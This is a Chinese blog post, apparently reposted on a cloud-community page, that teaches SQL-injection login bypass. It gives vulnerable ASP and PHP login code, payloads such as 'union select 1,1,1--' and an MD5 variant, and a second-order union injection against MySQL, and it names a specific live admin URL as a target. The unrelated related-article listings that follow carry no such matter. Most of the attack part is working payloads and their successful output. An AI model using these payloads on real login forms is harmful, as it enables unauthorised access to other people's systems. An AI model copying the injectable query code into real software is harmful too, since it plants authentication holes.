union万能密码By:dangdang

简介:

 —————————asp代码—————————————–

username = request.form("username")
password = request.form("password ")
set rs=server.createobject("adodb.recordset")
sql = "select [password] from admin where UserName='"&username&"'"
rs.open sql,conn,1,3
If password = rs("password") then
…’登陆成功
End if 
——————————————————————————————————–

现在很多站点都是这种验证方式,用’ or ‘1′=’就不行了。比如这个站http://aks.akszy.com/admin/

用户名处输入一个单引号出错(有的时候也不一定出错),然后’ order by 2–正确 ,’ order by 3– 正确,’ order by 4–出错,只有3列,用户名输入用’union select 1,1,1– ,因为用户名没有为空的记录,所以union出来的所有字段值都是1,密码再填1登陆进去了…..

还有一种验证方式密码有md5比较,所以’union select 1,1,1……当中用1的md5值替换其中一个1(其中一个是密码字段),密码填1依然可以绕过。

如果是mysql的话可以搞二次攻击,以下是2月文章:

今天看到这个帖子,佩服各牛突然觉得这个Mysql + plesk 怎么有点鸡肋。我没有源码,只好通过出错信息来fuzzer。没想到一下就YY了半天。。。
看出错信息:
DB query failed: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ’;–” at line 1
———————- Debug Info ——————————-
0: plib\common_func.php3:243
db_query(string ’select id from admin_aliases where login=” union select login from admin_aliases;–”)
1: plib\class.AdminAlias.php:313
AdminAlias::findId(string ” union select login from admin_aliases;–’)
2: plib\cmd_loginup.php:147
createSession(string ” union select login from admin_aliases;–’, string ’******************************************’)
3: htdocs\login_up.php3:27
从SQL语句中可以大概猜测,这个login是字符类型的,而ID确是int类型,在MSSQL中union通过显错来获取信息可以证明这一点。根据大多数的web程序来推测的话,验证过程大概是这样。
1.通过用户名到数据库里寻找到该用户的ID值进行第一步判断。
2.找到了,再用这个ID值去找管理员的信息,可以使密码,也可以是*了,呵呵。
3.对提交的密码进行加密,和上一个结果集比对
令人高兴的是,这个系统大方的给了我单引号用,单咋一看,我们union控制结果集来绕过验证的常规思路似乎行不通。因为第一步只查找了那该死的ID。MSSQL报错。。报错。。那么MSSQL是个严谨的绅士,那MYSQL呢,我印象里他是个对类型不敏感的小流氓。这让人兴奋,我写了个小脚本来模拟这种“鸡肋”登陆注入的验证过程。
test.php
<?php
$uid = $_POST[uid];
$pwd = $_POST[pwd];

 

$link = mysql_connect(‘localhost’, ’root’, ’123456′)
or die(‘Could not connect: ’ . mysql_error());
//echo ’Connected successfully’;
mysql_select_db(‘test’) or die(‘Could not select database’);

//通过uid找到用户id 注意id为int
$query = ”SELECT id FROM admin where uid=’$uid’”;
echo ”执行的SQL语句为:$query<br>”;
$result = mysql_query($query) or die(‘Query failed: ’ . mysql_error());
$line = mysql_fetch_array($result,MYSQL_ASSOC);

$user_id = $line[id];

$query = ”SELECT * FROM admin where id=$user_id”;
echo ”执行的SQL语句为:$query<br>”;
$result = mysql_query($query) or die(‘Query failed: ’ . mysql_error());
$line = mysql_fetch_array($result,MYSQL_ASSOC);

//验证开始
if ($line[pwd] == $pwd){ echo ”验证成功!<br>”; } else { echo ”验证失败!<br>”; }

mysql_free_result($result);
mysql_close($link);
?>
login.htm
<form action=”http://localhost:8080/test.php” method=”POST”>
<input name=uid type=text size=80>
<br>
<input name=pwd type=text size=80>
<br>
<input type=submit>
</form>
很简陋哈,呵呵。先让我们看看mysql里的设置。
mysql> create table admin(uid varchar(10),pwd varchar(10),id int);
ERROR 1050 (42S01): Table ’admin’ already exists
mysql> drop table admin;
Query OK, 0 rows affected (0.03 sec)

mysql> create table admin(uid varchar(10),pwd varchar(10),id int);
Query OK, 0 rows affected (0.08 sec)

mysql> insert into admin values(‘admin’,'fuckme’,1);
Query OK, 1 row affected (0.00 sec)

mysql> select * from admin;
+——-+——–+——+
| uid   | pwd    | id   |
+——-+——–+——+
| admin | fuckme |    1 |
+——-+——–+——+
1 row in set (0.00 sec)
测了下验证程序ok,来测试mysql 一下语句
mysql> select id from admin union select 1;
+——+
| id   |
+——+
|    1 |
+——+
1 row in set (0.00 sec)

mysql> select id from admin union select ’fuckme,please’;
+—————+
| id            |
+—————+
| 1             |
| fuckme,please |
+—————+
2 rows in set (0.02 sec)
很好,Mysql果然没让人失望,这样意味着我们能控制$line[id]这个值了,他传递给$user_id到了第二个SQL语句中。继续在mysql里意淫:
mysql> select id from admin union select ’0 union select 1,2,3#’;
+———————–+
| id                    |
+———————–+
| 1                     |
| 0 union select 1,2,3# |
+———————–+
2 rows in set (0.00 sec)
这个时候按照理论上讲 我们在用户名那里提交:
‘union select ’-1 union select 1,1,1#’# 密码填 1就可以验证成功了,这些推理过程不说了,我不能班门弄斧啊

程序输出:
执行的SQL语句为:SELECT id FROM admin where uid=” and 1=2 union select ’-1 union select 1,1,1#’#’
执行的SQL语句为:SELECT * FROM admin where id=-1 union select 1,1,1#
验证成功!






















本文转sinojelly51CTO博客,原文链接:http://blog.51cto.com/pnig0s1992/354566,如需转载请自行联系原作者

相关实践学习
每个IT人都想学的“Web应用上云经典架构”实战
本实验从Web应用上云这个最基本的、最普遍的需求出发,帮助IT从业者们通过“阿里云Web应用上云解决方案”,了解一个企业级Web应用上云的常见架构,了解如何构建一个高可用、可扩展的企业级应用架构。
MySQL数据库入门学习
本课程通过最流行的开源数据库MySQL带你了解数据库的世界。 &nbsp; 相关的阿里云产品:云数据库RDS MySQL 版 阿里云关系型数据库RDS(Relational Database Service)是一种稳定可靠、可弹性伸缩的在线数据库服务,提供容灾、备份、恢复、迁移等方面的全套解决方案,彻底解决数据库运维的烦恼。 了解产品详情:&nbsp;https://www.aliyun.com/product/rds/mysql&nbsp;
相关文章
大模型应用开发-LangChain入门教程
大模型应用开发-LangChain入门教程
1028 0
|
文件存储 Android开发 iOS开发
DIY nas 之照片备份工具
Immich是一个开源解决方案,主要用于直接从iPhone、Android手机上备份照片与视频。用户可以将Immich部署到自己的电脑、NAS或服务器中,并通过App进行备份
1250 2
|
存储 缓存 网络协议
freeswitch使用说明
freeswitch使用说明
freeswitch使用说明
|
移动开发 API vr&ar
《解锁Web游戏潜力:手柄操控的进阶法则》
HTML5 Gamepad API为Web游戏带来主机级手柄操控体验,突破传统键鼠限制。它实现多维度交互,提升沉浸感与操作自由度,助力开发者拓展用户市场,重塑游戏玩法设计。
379 0
|
9月前
|
消息中间件 安全 Shell
CherrySH:轻量、可嵌入的交互式 Shell,为嵌入式系统注入“对话”能力
CherrySH是一款专为嵌入式系统设计的微型、线程安全交互式Shell,仅需1–4KB内存,无需OS或文件系统,支持命令补全、历史回溯与动态调试。让裸机/RTOS设备拥有类Linux终端体验,提升开发效率。(239字)
513 1
|
9月前
|
存储 监控 API
API监控工具:淘宝新品上架提醒,抢占首发!
本文介绍如何通过技术手段实现淘宝新品上架自动监控。基于商品状态定时检测,利用API或页面解析判断是否开售,结合邮件、微信等通知方式,第一时间获取提醒。适合抢购热门新品用户,提升抢购效率。(238字)
|
机器学习/深度学习 编解码 定位技术
【小样本图像分割-2】UniverSeg: Universal Medical Image Segmentation
UniverSeg是一种用于医学图像分割的小样本学习方法,通过大量医学图像数据集的训练,实现了对未见过的解剖结构和任务的泛化能力。该方法引入了CrossBlock机制,以支持集和查询集之间的特征交互为核心,显著提升了分割精度。实验结果显示,UniverSeg在多种任务上优于现有方法,特别是在任务多样性和支持集多样性方面表现出色。未来,该方法有望扩展到3D模型和多标签分割,进一步提高医学图像处理的灵活性和效率。
728 0
【小样本图像分割-2】UniverSeg: Universal Medical Image Segmentation
|
监控 并行计算 搜索推荐
量子计算与医疗健康:个性化治疗的未来
量子计算以其强大的并行处理能力,正在医疗健康领域引发革命,尤其是在个性化治疗方面。本文探讨了量子计算在高效处理医疗数据、精确模拟生物分子、优化医疗资源分配等方面的应用,以及面临的挑战和未来前景。
|
SQL 缓存 Java
揭秘物联网性能优化的终极攻略!提升系统效率的七大法宝
小米在物联网项目中遇到了性能优化问题,他从数据库、集群、硬件、代码、并行处理、JVM及操作系统等多个层面分享了优化经验。包括SQL优化、分库分表、缓存使用、水平扩容、分布式调度、硬件升级、代码分析、并行处理、GC调优及操作系统参数调整等。小米强调性能优化需结合实际情况,逐步提升系统响应速度与稳定性。欢迎留言交流,共同进步。关注他的微信公众号“软件求生”,获取更多技术干货。
663 1
|
小程序 安全 搜索推荐
【微信小程序开发实战项目】——如何制作一个属于自己的花店微信小程序(3)
这是一篇关于微信小程序开发的文章摘要,作者介绍了如何创建一个网上花店小程序,旨在提供便捷的购花体验。小程序包含鲜花分类功能,允许用户按品种、颜色和用途筛选,确保快速找到合适的鲜花。它还提供了配送服务,保证鲜花的新鲜度。文章展示了`cash.wxml`、`cash.wxss`和`cash.js`的部分代码,用于实现分类和商品展示,以及`qin.wxml`、`qin.wxss`和`qin.js`,涉及商品详情和购买付款流程。代码示例展示了商品列表渲染和交互逻辑,包括页面跳转、数据传递和点击事件处理。文章最后提到了购买付款界面,强调了安全和便捷的支付体验。
913 0
【微信小程序开发实战项目】——如何制作一个属于自己的花店微信小程序(3)

热门文章

最新文章